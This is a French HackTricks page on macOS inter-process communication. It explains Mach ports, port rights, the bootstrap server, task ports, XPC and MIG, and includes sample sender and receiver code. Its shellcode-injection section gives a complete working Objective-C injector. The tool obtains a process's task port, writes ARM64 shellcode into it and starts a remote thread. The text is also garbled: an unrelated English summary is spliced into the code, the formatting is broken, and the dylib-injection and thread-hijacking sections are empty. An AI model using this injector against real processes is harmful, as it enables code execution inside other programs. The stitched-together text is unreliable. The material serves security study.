macOS IPC - Inter Process Communication

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Messagerie Mach via les ports

Informations de base

Mach utilise des tâches comme unité la plus petite pour le partage de ressources, et chaque tâche peut contenir plusieurs threads. Ces tâches et threads sont mappés 1:1 sur les processus et threads POSIX.

La communication entre les tâches se fait via la Communication Inter-Processus (IPC) de Mach, en utilisant des canaux de communication unidirectionnels. Les messages sont transférés entre les ports, qui agissent comme des files d'attente de messages gérées par le noyau.

Chaque processus a une table IPC, où il est possible de trouver les ports Mach du processus. Le nom d'un port Mach est en réalité un nombre (un pointeur vers l'objet du noyau).

Un processus peut également envoyer un nom de port avec certains droits à une tâche différente et le noyau fera apparaître cette entrée dans la table IPC de l'autre tâche.

Droits de port

Les droits de port, qui définissent les opérations qu'une tâche peut effectuer, sont essentiels pour cette communication. Les droits de port possibles sont (définitions d'ici) :

  • Le droit de réception, qui permet de recevoir des messages envoyés au port. Les ports Mach sont des files d'attente MPSC (multiproducteur, monoclient), ce qui signifie qu'il ne peut y avoir qu'un seul droit de réception pour chaque port dans tout le système (contrairement aux tubes, où plusieurs processus peuvent tous détenir des descripteurs de fichier pour l'extrémité de lecture d'un tube).

  • Une tâche avec le droit de réception peut recevoir des messages et créer des droits d'envoi, lui permettant d'envoyer des messages. À l'origine, seule la tâche elle-même a le droit de réception sur son port.

  • Le droit d'envoi, qui permet d'envoyer des messages au port.

  • Le droit d'envoi peut être cloné afin qu'une tâche possédant un droit d'envoi puisse cloner le droit et le donner à une troisième tâche.

  • Le droit d'envoi unique, qui permet d'envoyer un message au port puis disparaît.

  • Le droit de jeu de ports, qui indique un jeu de ports plutôt qu'un seul port. Défiler un message d'un jeu de ports défile un message d'un des ports qu'il contient. Les jeux de ports peuvent être utilisés pour écouter plusieurs ports simultanément, un peu comme select/poll/epoll/kqueue dans Unix.

  • Nom mort, qui n'est pas un droit de port réel, mais simplement un espace réservé. Lorsqu'un port est détruit, tous les droits de port existants sur le port deviennent des noms morts.

Les tâches peuvent transférer des droits d'ENVOI à d'autres, leur permettant d'envoyer des messages en retour. Les droits d'ENVOI peuvent également être clonés, de sorte qu'une tâche puisse dupliquer et donner le droit à une troisième tâche. Cela, combiné à un processus intermédiaire appelé le serveur d'amorçage, permet une communication efficace entre les tâches.

Ports de fichiers

Les ports de fichiers permettent d'encapsuler des descripteurs de fichiers dans des ports Mac (en utilisant des droits de port Mach). Il est possible de créer un fileport à partir d'un FD donné en utilisant fileport_makeport et de créer un FD à partir d'un fileport en utilisant fileport_makefd.

Établir une communication

Étapes :

Comme mentionné, pour établir le canal de communication, le serveur d'amorçage (launchd sur Mac) est impliqué.

  1. La tâche A initie un nouveau port, obtenant un droit de RÉCEPTION dans le processus.

  2. La tâche A, étant le détenteur du droit de RÉCEPTION, génère un droit d'ENVOI pour le port.

  3. La tâche A établit une connexion avec le serveur d'amorçage, fournissant le nom de service du port et le droit d'ENVOI via une procédure connue sous le nom d'enregistrement d'amorçage.

  4. La tâche B interagit avec le serveur d'amorçage pour exécuter une recherche d'amorçage pour le nom du service. En cas de succès, le serveur duplique le droit d'ENVOI reçu de la tâche A et le transmet à la tâche B.

  5. Après avoir acquis un droit d'ENVOI, la tâche B est capable de formuler un message et de l'envoyer à la tâche A.

  6. Pour une communication bidirectionnelle, généralement la tâche B génère un nouveau port avec un droit de RÉCEPTION et un droit d'ENVOI, et donne le droit d'ENVOI à la tâche A pour qu'elle puisse envoyer des messages à la TÂCHE B (communication bidirectionnelle).

Le serveur d'amorçage ne peut pas authentifier le nom de service revendiqué par une tâche. Cela signifie qu'une tâche pourrait potentiellement usurper n'importe quelle tâche système, en revendiquant faussement un nom de service d'autorisation, puis en approuvant chaque demande.

Ensuite, Apple stocke les noms des services fournis par le système dans des fichiers de configuration sécurisés, situés dans des répertoires protégés par SIP : /System/Library/LaunchDaemons et /System/Library/LaunchAgents. Aux côtés de chaque nom de service, le binaire associé est également stocké. Le serveur d'amorçage, créera et détiendra un droit de RÉCEPTION pour chacun de ces noms de service.

Pour ces services prédéfinis, le processus de recherche diffère légèrement. Lorsqu'un nom de service est recherché, launchd démarre le service de manière dynamique. Le nouveau flux de travail est le suivant :

  • La tâche B initie une recherche d'amorçage pour un nom de service.

  • launchd vérifie si la tâche est en cours d'exécution et si ce n'est pas le cas, la démarre.

  • La tâche A (le service) effectue un enregistrement d'amorçage. Ici, le serveur d'amorçage crée un droit d'ENVOI, le conserve, et transfère le droit de RÉCEPTION à la tâche A.

  • launchd duplique le droit d'ENVOI et l'envoie à la tâche B.

  • La tâche B génère un nouveau port avec un droit de RÉCEPTION et un droit d'ENVOI, et donne le droit d'ENVOI à la tâche A (le svc) pour qu'elle puisse envoyer des messages à la TÂCHE B (communication bidirectionnelle).

Cependant, ce processus s'applique uniquement aux tâches système prédéfinies. Les tâches non système fonctionnent toujours comme décrit initialement, ce qui pourrait potentiellement permettre l'usurpation.

Un message Mach

Trouvez plus d'informations ici

La fonction mach_msg, essentiellement un appel système, est utilisée pour envoyer et recevoir des messages Mach. La fonction nécessite que le message soit envoyé en tant qu'argument initial. Ce message doit commencer par une structure mach_msg_header_t, suivie du contenu du message. La structure est définie comme suit:

typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;

Les processus possédant un droit de réception peuvent recevoir des messages sur un port Mach. En revanche, les expéditeurs se voient accorder un droit d'envoi ou un droit d'envoi unique. Le droit d'envoi unique est exclusivement pour l'envoi d'un seul message, après quoi il devient invalide.

Pour réaliser une communication bidirectionnelle facile, un processus peut spécifier un port Mach dans l'en-tête du message Mach appelé le port de réponse (msgh_local_port) où le destinataire du message peut envoyer une réponse à ce message. Les indicateurs de bits dans msgh_bits peuvent être utilisés pour indiquer qu'un droit d'envoi unique doit être dérivé et transféré pour ce port (MACH_MSG_TYPE_MAKE_SEND_ONCE).

Notez que ce type de communication bidirectionnelle est utilisé dans les messages XPC qui attendent une réponse (xpc_connection_send_message_with_reply et xpc_connection_send_message_with_reply_sync). Mais généralement, des ports différents sont créés comme expliqué précédemment pour créer la communication bidirectionnelle.

Les autres champs de l'en-tête du message sont :

  • msgh_size : la taille de l'ensemble du paquet.

  • msgh_remote_port : le port sur lequel ce message est envoyé.

  • msgh_voucher_port : bons Mach.

  • msgh_id : l'ID de ce message, qui est interprété par le destinataire.

Notez que les messages Mach sont envoyés sur un _port Mach_, qui est un canal de communication un seul destinataire, plusieurs expéditeurs intégré dans le noyau Mach. Plusieurs processus peuvent envoyer des messages à un port Mach, mais à tout moment, un seul processus peut le lire.

Énumérer les ports

lsmp -p <pid>

Vous pouvez installer cet outil sur iOS en le téléchargeant depuis http://newosxbook.com/tools/binpack64-256.tar.gz

Exemple de code

Notez comment l'expéditeur alloue un port, crée un droit d'envoi pour le nom org.darlinghq.example et l'envoie au serveur de démarrage tandis que l'expéditeur demande le droit d'envoi de ce nom et l'utilise pour envoyer un message.

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);


// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;

message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;

strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;

// Send the message.
kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG,    // Options. We're sending a message.
sizeof(message),  // Size of the message being sent.
0,                // Size of the buffer for receiving.
MACH_PORT_NULL,   // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}

Ports Privilégiés

  • Port hôte: Si un processus a le privilège Envoyer sur ce port, il peut obtenir des informations sur le système (par exemple, host_processor_info).

  • Port de privilège hôte: Un processus avec le droit Envoyer sur ce port peut effectuer des actions privilégiées comme charger une extension de noyau. Le processus doit être root pour obtenir cette permission.

  • De plus, pour appeler l'API kext_request, il est nécessaire d'avoir d'autres autorisations com.apple.private.kext* qui ne sont données qu'aux binaires Apple.

  • Port de nom de tâche: Une version non privilégiée du port de tâche. Il fait référence à la tâche, mais ne permet pas de la contrôler. La seule chose qui semble être disponible à travers lui est task_info().

  • Port de tâche (alias port noyau): Avec la permission d'envoi sur ce port, il est possible de contrôler la tâche (lecture/écriture en mémoire, création de threads...).

  • Appelez mach_task_self() pour obtenir le nom de ce port pour la tâche appelante. Ce port n'est hérité qu'à travers exec(); une nouvelle tâche créée avec fork() obtient un nouveau port de tâche (dans un cas particulier, une tâche obtient également un nouveau port de tâche après exec() dans un binaire suid). La seule façon de créer une tâche et d'obtenir son port est d'effectuer la "danse d'échange de port" tout en faisant un fork().

  • Voici les restrictions d'accès au port (à partir de macos_task_policy du binaire AppleMobileFileIntegrity):

  • Si l'application a l'autorisation com.apple.security.get-task-allow, les processus du même utilisateur peuvent accéder au port de tâche (communément ajouté par Xcode pour le débogage). Le processus de notarisation ne le permettra pas pour les versions de production.

  • Les applications avec l'autorisation com.apple.system-task-ports peuvent obtenir le port de tâche pour n'importe quel processus, sauf le noyau. Dans les anciennes versions, cela s'appelait task_for_pid-allow. Cela n'est accordé qu'aux applications Apple.

  • Root peut accéder aux ports de tâche des applications non compilées avec un runtime renforcé (et non d'Apple).

Injection de code shell dans un thread via le port de tâche

Vous pouvez obtenir un code shell à partir de :

// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

macOS IPC (Inter-Process Communication)

Mach Messages

Mach messages are the fundamental inter-process communication (IPC) mechanism in macOS. Processes can send messages to each other using Mach ports. Understanding how Mach messages work is crucial for privilege escalation and persistence techniques on macOS.

XPC Services

XPC Services are a type of service that allows you to create separate processes for performing specific tasks. They are commonly used for privilege separation and sandboxing in macOS applications. Understanding how XPC Services work is essential for macOS security research and exploitation.

Distributed Objects

Distributed Objects is another IPC mechanism in macOS that allows objects to be passed between processes. It is commonly used in macOS applications for communication between different components. Understanding how Distributed Objects work is important for analyzing and exploiting macOS applications.

NSXPCConnection

NSXPCConnection is a high-level API in macOS that simplifies the use of XPC Services for inter-process communication. It provides a convenient way to establish connections between processes and exchange messages securely. Understanding how NSXPCConnection works is crucial for developing secure macOS applications.

Conclusion

macOS provides various IPC mechanisms for inter-process communication, each with its own characteristics and use cases. Understanding these mechanisms is essential for macOS security researchers, developers, and hackers to analyze and exploit macOS applications effectively.

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>

Compilez le programme précédent et ajoutez les droits nécessaires pour pouvoir injecter du code avec le même utilisateur (sinon vous devrez utiliser sudo).

sc_injector.m

```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";

int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }

// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }

return (0); }

pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue]; }

BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }

NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;

if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }

inject(pid); }

return 0; }

</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

Injection de dylib dans un thread via le port de tâche

Sur macOS, les threads peuvent être manipulés via Mach ou en utilisant l'API posix pthread. Le thread que nous avons généré dans l'injection précédente a été généré en utilisant l'API Mach, donc il n'est pas conforme à posix.

Il était possible d'injecter un simple shellcode pour exécuter une commande car cela n'avait pas besoin de fonctionner avec des APIs conformes à posix, seulement avec Mach. Les injections plus complexes nécessiteraient que le thread soit également conforme à posix.

Par conséquent, pour améliorer le thread, il devrait appeler pthread_create_from_mach_thread qui va créer un pthread valide. Ensuite, ce nouveau pthread pourrait appeler dlopen pour charger une dylib du système, donc au lieu d'écrire un nouveau shellcode pour effectuer différentes actions, il est possible de charger des bibliothèques personnalisées.

Vous pouvez trouver des dylibs d'exemple dans (par exemple celui qui génère un journal que vous pouvez ensuite écouter) :

```bash gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject ``` ### Détournement de thread via le port de tâche

Dans cette technique, un thread du processus est détourné :

XPC

Informations de base

XPC, qui signifie XNU (le noyau utilisé par macOS) Inter-Process Communication, est un framework pour la communication entre les processus sur macOS et iOS. XPC fournit un mécanisme pour effectuer des appels de méthode asynchrones et sécurisés entre différents processus sur le système. Il fait partie du paradigme de sécurité d'Apple, permettant la création d'applications avec des privilèges séparés où chaque composant s'exécute avec seulement les autorisations nécessaires pour effectuer son travail, limitant ainsi les dommages potentiels d'un processus compromis.

Pour plus d'informations sur le fonctionnement de cette communication et sur la manière dont elle pourrait être vulnérable, consultez :

MIG - Générateur d'interface Mach

MIG a été créé pour simplifier le processus de création de code Mach IPC. Il génère essentiellement le code nécessaire pour que le serveur et le client communiquent avec une définition donnée. Même si le code généré est moche, un développeur n'aura qu'à l'importer et son code sera beaucoup plus simple qu'auparavant.

Pour plus d'informations, consultez :

Références

Last updated